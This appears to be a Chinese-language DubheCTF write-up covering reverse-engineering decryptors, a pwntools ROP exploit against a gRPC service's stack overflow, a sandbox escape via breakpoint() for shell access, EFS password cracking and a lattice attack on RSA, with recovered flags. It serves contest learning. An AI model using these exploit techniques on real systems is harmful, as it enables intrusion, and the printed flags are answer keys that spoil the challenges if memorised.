'C0100O0O0o.java', 'C0096OOoOo.java', 'Il111.java', 'II1l.java', 'C0119O0OoO.java', 'C0134oOo0o.java', 'C0154oOo0O.java', 'C0131ooOoo.java', 'IlIl.java', 'l1lI.java', 'I111.java', 'C0143oooo0.java', 'lIII.java', 'C0152oo0o0.java', 'C0160oOooo.java', 'O0000.java', 'C0150o0O0o.java', 'C0111OO00O.java', 'lll.java', 'C0097OooOo.java', 'll1I.java', 'oO000.java', 'C0144oOo0o.java', 'C0148oOOO0.java', 'C0142oooOo.java', 'a.java', 'd.java', 'g.java', 'm.java', 'p.java', 's.java', 'v.java', 'y.java', 'b0.java', 'e0.java', 'h0.java', 'k0.java', 'n0.java', 't0.java', 'w0.java', 'z0.java', 'c1.java', 'f1.java', 'i1.java', 'l1.java', 'o1.java', 'r1.java', 'u1.java', 'a2.java', 'd2.java', 'g2.java', 'j2.java', 'm2.java', 'p2.java', 's2.java', 'v2.java', 'y2.java', 'b3.java', 'h3.java', 'k3.java', 'n3.java', 'q3.java', 't3.java', 'w3.java', 'z3.java', 'c4.java', 'f4.java', 'i4.java', 'o4.java', 'r4.java', 'u4.java', 'x4.java', 'a5.java', 'd5.java', 'g5.java', 'j5.java', 'm5.java', 'p5.java', 'v5.java', 'y5.java', 'b6.java', 'e6.java', 'h6.java', 'k6.java', 'n6.java', 'q6.java', 't6.java', 'w6.java', 'f7.java', 'i7.java', 'l7.java', 'o7.java', 'r7.java', 'u7.java', 'x7.java', 'a8.java', 'd8.java', 'g8.java', 'm8.java', 'p8.java', 's8.java', 'v8.java', 'y8.java', 'b9.java', 'e9.java', 'h9.java', 'k9.java', 'n9.java', 't9.java', 'w9.java', 'z9.java', 'ca.java', 'fa.java', 'ia.java', 'sub33.java', 'sub32.java', 'sub31.java', 'sub30.java', 'sub29.java', 'sub28.java', 'sub27.java', 'sub26.java', 'sub25.java', 'sub24.java', 'sub23.java', 'sub22.java', 'sub21.java', 'sub20.java', 'sub19.java', 'sub18.java', 'sub17.java', 'sub16.java', 'sub15.java', 'sub14.java', 'sub13.java', 'sub12.java', 'sub11.java', 'sub10.java', 'sub8.java', 'sub7.java', 'sub5.java', 'sub4.java', 'sub3.java', 'sub_1.java', 'sub_0.java']
table=['Bundle','package','import','View','/* rena','null) {','view','iew','ew) {']
def read_java(name):
    java_file_path = name
    try:
        with open(java_file_path, 'rb') as file:
            return file.read();

    except FileNotFoundError:
        print("File not found.")
    except IOError:
        print("Error reading the file.")
def get_next_file_name(context,next_name,pos):
    pattern = next_name
    #print(next_name)
    match = re.search(pattern.encode(), context)
    start_pos = match.start()
    content = context[max(start_pos - 650, 0):start_pos-80].decode('utf-8')
    lines = content.split('\n')
    java_file='''
    import java.security.InvalidKeyException;
    import java.security.NoSuchAlgorithmException;
    import javax.crypto.BadPaddingException;
    import javax.crypto.IllegalBlockSizeException;
    import javax.crypto.NoSuchPaddingException;
    import javax.crypto.Cipher;
    import javax.crypto.spec.SecretKeySpec;
    '''
    java_file+=f'class f{pos}'+'{'
    def_head=f'public static String f{pos}(String str2) throws NoSuchPaddingException, NoSuchAlgorithmException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException \n'+'{\n'
    java_file+=(def_head)
    for line in lines:
        x=1
        for i in table:
            if i in line:
                x=0
        if x==1:
            if 'bundle' in line:
                x=line.replace('bundle.putString(str, ','str3=(')
                java_file+=x+'\n'
            else:
                java_file+=line+'\n'
    java_file+=(f'return str3;\n')
    java_file+=('}\n}\n')
    java_file_name=f'./out_java/f{pos}.java'
    #print(java_file)
    with open(java_file_name,'w+') as f:
        f.write(java_file)
def read_encode(name,path,pos):
    path=path.replace('java','class')
    for root, dirs, files in os.walk(directory):
        for file in files:
            if file.endswith(".java"):
                # 如果文件是以 .java 结尾的,则打印文件路径
                #print(file)
                if file == name:
                    x=(os.path.join(root, file).replace('\\','/'))
                    data=read_java(x)
                    get_next_file_name(data,path,pos)
                  
for i in  range(1,257):
    read_encode(call_list[i],call_list[i+1],i)

image.png

导入工程,然后手修一下错误就行

for i in range(1,257):
    print(f'str=f{i}.f{i}(str);')

image.png

最后sha1一下

public void mo2618o0oOO(View view, Bundle bundle) {
    super.mo2618o0oOO(view, bundle);
    Bundle bundle2 = m6073OoOoo();
    String string = bundle2 != null ? bundle2.getString(m6035I11(AbstractC2511Oo0o0.f8425lIIl)) : null;
    ((TextView) view.findViewById(AbstractC2512lIIl.f84291l1l)).setText("DubheCTF{" + AbstractC0054oo0OO.m25731l1l(MessageDigest.getInstance("SHA1").digest(string.getBytes(C00591l1l.f808oOoO0)), null, 1, null) + '}');
    Toast.makeText(m6101oooOO(), "Congratulations!", 0).show();
}

DubheCTF{20c21afe96f05b02430a017a550bfce5addb6fe2}

ezVK

int dec(uint32_t* v, uint32_t* key)
{
    unsigned int l = v[0];
    unsigned int r = v[1];
    unsigned int i = 1;
    unsigned int sum = DELTA*40;

    while (i <= 40)
    {
        i++;
        unsigned int v112 = ~(l << 3);
        unsigned int v114 = l >> 5;
        unsigned int v115 = v112 & v114;
        unsigned int v117 = l << 3;
        unsigned int v119 = l >> 5;
        unsigned int v120 = ~v119;
        unsigned int v121 = v117 & v120;
        unsigned int v122 = v115 | v121;
        unsigned int v125 = v122 ^ (~l);

        unsigned int v127 = l << 3;
        unsigned int v129 = l >> 5;
        unsigned int v130 = v127 ^ v129;
        unsigned int v131 = v130 & v125;

        unsigned int v140 = key[(sum >> 11) & 4] + sum;
        unsigned int v141 = ~v140;

        unsigned int v143 = l >> 3;
        unsigned int v145 = l << 2;
        unsigned int v146 = v143 & v145;

        unsigned int v147 = ~v146;
        unsigned int v148 = v141 | v147;
        unsigned int v149 = ~v148;
        unsigned int v155 = v131 ^ v149;
        r -= v155;
        sum -= DELTA;

        unsigned int v50 = r << 3;
        unsigned int v51 = ~v50;
        unsigned int v54 = r >> 5;
        unsigned int v55 = v51 & v54;
        unsigned int v57 = r << 3;
        unsigned int v59 = r >> 5;
        unsigned int v60 = ~v59;
        unsigned int v62 = v55 | (v57 & v60);
        unsigned int v65 = v62 ^ (~r);
        unsigned int v67 = r << 3;
        unsigned int v70 = v67 ^ (r >> 5);
        unsigned int v71 = v70 & v65;

        unsigned int v88 = key[sum & 4] + sum;
        unsigned int v89 = ~v88;

        unsigned int v91 = r >> 3;
        unsigned int v94 = r << 2;
        unsigned int v96 = ~(v91 & v94);
        unsigned int v97 = v96 | (v89);
        unsigned int v98 = ~v97;
        unsigned int v104 = v71 ^ v98;
        l -= v104;
    }

    v[0] = l;
    v[1] = r;

    return 0;
}
int main()
{
    uint32_t key[] = { 1214346853 ,558265710 ,559376756 ,1747010677 ,1651008801 };

        unsigned char dword_7FF7C2D3100110[] =
    {
      0xAF, 0x72, 0x5B, 0x18, 0xC6, 0xD2, 0x31, 0x06, 0xCC, 0x33,
      0x8B, 0xDE, 0x9F, 0xCD, 0xEB, 0x31, 0x33, 0x8B, 0xDB, 0x05,
      0xD0, 0x77, 0x8D, 0x0A, 0x11, 0x61, 0x5C, 0x86, 0x35, 0x23,
      0x03, 0xBF, 0xA5, 0x28, 0x22, 0x72, 0x57, 0x3A, 0x83, 0xAD,
      0x6F, 0x45, 0xC3, 0xB7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
    };
    unsigned int* dword_7FF7C2D31000 = (unsigned int*)dword_7FF7C2D3100110;

  
    dec(&dword_7FF7C2D31000[0], key);
    dec(&dword_7FF7C2D31000[2], key);
    dec(&dword_7FF7C2D31000[4], key);
    dec(&dword_7FF7C2D31000[6], key);
    dec(&dword_7FF7C2D31000[8], key);
    printf("%s", dword_7FF7C2D31000);  

}

最后还有一个字节需要爆破一下,大致猜得到是符号,然后就挨个试一下就行。

VMT

程序前面有很多反调试的地方 需要一一破解

绕过所有反调试的后 这里首先会验证传入的字符串的长度 如果是36位的 会改变程序的密钥值

image-20240319084321220

后续发现加密算法其实是一个Sm4加密、

image-20240319084914730

image-20240319085059260

密钥和密文都是通过动态调试获得

cin = "1234567890abcdefaaaabbbbccccdddd"
out1 = "C137638ED9805156D98579453EF02F3DBC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"
rc = "6A61EF281A7473D6B1B431D0351F7E2242CFB9D6EC4E01EF656D6CF520F142821C7061EB843D5ABE378B394C4DC1298B"

cin2 = "aaaabbbbccccddddaaaabbbbccccddddtttt"
key =  "4E305468697369533446346B334B3359"
out2 = "BC84E9D6953C3A34515DD329FFBA1022BC84E9D6953C3A34515DD329FFBA1022E882CB89AF38B70AA3553B68A9228BDC"



for i in cin2:
    print(hex(ord(i)),end=',')

print()
print("key:")
for i in bytes.fromhex(key):
    print(hex(i)[2:],end='')
print()



from gmssl import sm3,sm4


def sm4_encrypt_or_decrypt(mode, key, data):
    if mode == 'encrypt':
        cryptor = sm4.CryptSM4(sm4.SM4_ENCRYPT,padding_mode=2)
        cryptor.set_key(key, sm4.SM4_ENCRYPT)
    elif mode == 'decrypt':
        cryptor = sm4.CryptSM4(sm4.SM4_DECRYPT,padding_mode=3)
        cryptor.set_key(key, sm4.SM4_DECRYPT)
    else:
        raise ValueError('Unsupported mode:', mode)


    res=cryptor.crypt_ecb(data)

    print(res)
    return res

rkey = b"Pyu0Z8#bC5vqUFgt"
#sm4_encrypt_or_decrypt("encrypt",b"1111111111111111",b"1111111111111111")
sm4_encrypt_or_decrypt("decrypt",rkey,bytes.fromhex(rc))

Pwn

ggbond

先利用 pbtk 提取出 proto 文件

syntax = "proto3";

package GGBond;

option go_package = "./;ggbond";

service GGBondServer {
    rpc Handler(Request) returns (Response);
}

message Request {
    oneof request {
        WhoamiRequest whoami = 100;
        RoleChangeRequest role_change = 101;
        RepeaterRequest repeater = 102;
    }
}

message Response {
    oneof response {
        WhoamiResponse whoami = 200;
        RoleChangeResponse role_change = 201;
        RepeaterResponse repeater = 202;
        ErrorResponse error = 444;
    }
}

message WhoamiRequest {
  
}

message WhoamiResponse {
    bytes message = 2000;
}

message RoleChangeRequest {
    uint32 role = 1001;
}

message RoleChangeResponse {
    bytes message = 2001;
}

message RepeaterRequest {
    bytes message = 1002;
}

message RepeaterResponse {
    bytes message = 2002;
}

message ErrorResponse {
    bytes message = 4444;
}

然后编译

python -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. GGbond.proto 

最后发现切换 role3 后,就是一个 base64 的栈溢出。在靶机不出网的情况下,直接多 nc 一个连接配合异常处理读 flag 即可

exp

from pwn import *
from struct import pack
from ctypes import *
import base64
from subprocess import run
#from LibcSearcher import *
from struct import pack
import tty

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('127.0.0.1', 23334)

elf = ELF('./pwn')

import string
import itertools
import re
from pwn import *
from hashlib import sha256

#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
    # The container will be destroyed after 20 seconds 
    # or when the 'p' socket connection is closed.
  
    # The Docker container challenge's internal network cannot 
    # connect to the external network.
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#

remote_ip = '1.95.2.225'
remote_port = 13337

def pow():
    p = remote(remote_ip, remote_port)
    rev = p.recvuntil(b' == ').decode()
    pattern = r'xxxx\+([a-zA-Z0-9]+)'
    rev = re.search(pattern, rev).group(1)
    target_digest = p.recv(64).decode()

    characters = string.ascii_letters + string.digits
    all_combinations = [''.join(comb) for comb in itertools.product(characters, repeat=4)]
    for comb in all_combinations:
        proof = comb+rev
        digest = sha256(proof.encode()).hexdigest()
        if target_digest == digest:
            result = comb
            break
    p.send(result) 
  
    p.recvuntil(b' nc ')
    rev = p.recvline().decode()
    pattern = r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s(\d+)'
    result = re.search(pattern, rev)
    target_ip = result.group(1)
    target_port = int(result.group(2))
    sleep(3)
    return target_ip, target_port
      
target_ip, target_port=pow()
#target_ip = "127.0.0.1"
#target_port = 23334

import grpc
import ggbond_pb2
import ggbond_pb2_grpc
import base64

def who():
    channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.whoami.CopyFrom(ggbond_pb2.WhoamiRequest())
    response = stub.Handler(request)
    print("Response from Handler:", response)

def Role(ty):
    channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.role_change.CopyFrom(ggbond_pb2.RoleChangeRequest(role=ty))
    response = stub.Handler(request)
    print("Response from Handler:", response)

def mes(data):
    channel = grpc.insecure_channel(target_ip + ':' + str(target_port))
    stub = ggbond_pb2_grpc.GGBondServerStub(channel)
    request = ggbond_pb2.Request()
    request.repeater.CopyFrom(ggbond_pb2.RepeaterRequest(message=data))
    stub.Handler(request)

who()
Role(3)

rax = 0x4101e6
rdi = 0x401537
rsi = 0x422398
rdx = 0x461bd1
syscall = 0x40452c

flag = 0x8005cb
buf = 0xC6D520

p = remote(target_ip, target_port)

rop = b'a'*0xc8
rop += p64(rax) + p64(2) + p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(syscall)
rop += p64(rax) + p64(0) + p64(rdi) + p64(9) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)
rop += p64(rax) + p64(1) + p64(rdi) + p64(7) + p64(rsi) + p64(buf) + p64(rdx) + p64(0x100) + p64(syscall)

try:
    mes(base64.b64encode(rop))
except:
    while 1 : pr()
    

Misc

cipher

附件是一个vhd,所以我们只要知道主密钥,私钥,以及用户登录密码即可,利用advanced efs data recovery

先把vhd挂载到本机,只会扫描key得到主密钥和私钥,之后就是找用户密码即可

后来发现可以爆破,直接利用rockyou字典爆破即可

PS:

后来发现是有密码记录的

查看即可得到密码为

superman

ezPythonCheckin

图片.png

打开附件知道他验证的逻辑是把我们的输入base64解码再当作py文件执行 我们输入base64编码 就行 这里我们直接输入breakpoint()的base64编码就能进入Pdb模式 然后获取shell cat flag就行

图片.png

Crypto

签到

论文题,利用SageMath实现并解决CP-RSA问题。

# 原论文:https://www.iacr.org/archive/asiacrypt2015/94520198/94520198.pdf
# 辅助理解:https://eprint.iacr.org/2024/061.pdf

from sage.all import *
from hashlib import sha256
from subprocess import check_output
from re import findall
from time import time
from binteger import Bin
from Crypto.Util.number import *


def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
  


N = 0xbe9ccc83003bedf45421b58377b946f87dfd85be82124dc5d732070d77ef68e0231c3f34dc803a8984de0573db6d83ccea0bd53a885059a10cfa3764c658c4d42c5fa90ecad8573fff8f2c41e513278c59121e42ad83310fb22b4d20e7ada42c76f08891f38c92a1b1aac712bfa7d717a4c4802ed023f12c768972ca1b
e = 0x5dc97ed7250e57ce6fac4f57885c0538b1ea540fbaca79730470b6b990f7e861adc4c5fee3acdcd9ae9a2834b606ddfae01ade33edfa96a47a0ffc0036a4497a84c38b7cdac20c38f
beta = 0.25  # log(d, N)
Gamma = 0.42  # log(g, N)


XX = int(ceil(N^beta))
YY = int(ceil(N^0.5))

t = 10
print(f't = {t}')
n = 2
r = 1
r1 = 1
r2 = 2
y1 = beta
y2 = 1/2
nn = Gamma
R = [r1, r2]
Y = [y1, y2]

# check
for i in range(2):
    print(Y[i]/R[i]<nn)

PR.<x,y>= PolynomialRing(ZZ)
E = int(inverse_mod(e, N-1))

def f(i1, i2):
    return (E-x)^i1*(N-y)^i2*(N-1)^(max(t-i1-2*i2, 0))


my_polynomials = []
monomials = set()


Is = []
for i1 in range(100):
    for i2 in range(100):
        if 0<=y1*i1+y2*i2<=nn*t:
            Is.append([i1, i2, i1+i2])
# 排序
for tt1 in range(len(Is)-1):
    for tt2 in range(tt1+1, len(Is)):
        if (Is[tt1][-1]>Is[tt2][-1]):
            Is[tt1],Is[tt2] = Is[tt2],Is[tt1]
          
for tt1 in range(len(Is)-1):
    for tt2 in range(tt1+1, len(Is)):
        if (Is[tt1][-1]==Is[tt2][-1]) and Is[tt1][1]>Is[tt2][1]:
            Is[tt1],Is[tt2] = Is[tt2],Is[tt1]

print(Is)

# 生成shift多项式
for each in Is:          
    i1, i2 = each[0], each[1]
    # print(i1, i2)
    tmp = f(i1, i2)
    my_polynomials.append(tmp)
          
# 构造下三角矩阵:利用偏序
known_set = set()
new_polynomials = []
my_monomials = []
 
# construct partial order
while len(my_polynomials) > 0:
    for i in range(len(my_polynomials)):
        f = my_polynomials[i]
        current_monomial_set = set(x^tx * y^ty for tx, ty in f.exponents(as_ETuples=False))
        delta_set = current_monomial_set - known_set
        if len(delta_set) == 1:
            new_monomial = list(delta_set)[0]
            my_monomials.append(new_monomial)
            known_set |= current_monomial_set
            new_polynomials.append(f)          
            my_polynomials.pop(i)
            break
    else:
        raise Exception('GG')
      
my_polynomials = deepcopy(new_polynomials)
 
# 构造矩阵:置入多项式系数
nrows = len(my_polynomials)
ncols = len(my_monomials)
L = [[0 for j in range(ncols)] for i in range(nrows)]
print(f'矩阵规模:{nrows} x {ncols}')
print('my_monomials', my_monomials)

for i in range(nrows):
    g_scale = my_polynomials[i](XX*x, YY*y)  # f(XX*x, YY*y)
    for j in range(ncols):
        L[i][j] = g_scale.monomial_coefficient(my_monomials[j])

      
# LLL得到规约系数,联立解方程          
L = Matrix(ZZ, L)
nrows = L.nrows()
L = flatter(L)
print('LLL done!')

# Recover poly
reduced_polynomials = []
for i in range(nrows):
    g_l = 0
    for j in range(ncols):
        g_l += L[i][j] // my_monomials[j](XX, YY) * my_monomials[j]  # 消常系数,代入未知量
    reduced_polynomials.append(g_l)
print('done, next solve d')

# 结式
h1 = reduced_polynomials[0]
h2 = reduced_polynomials[1]
# 结式消y
g1 = h1.resultant(h2, y)
x = g1.univariate_polynomial().roots()
if x:
    d = x[0][0]
    flag = 'DubheCTF{{{:x}}}'.format(d & (2**128 - 1))
    print(flag)  # DubheCTF{b896a5fef7abec06cd2e6256be4ba40b}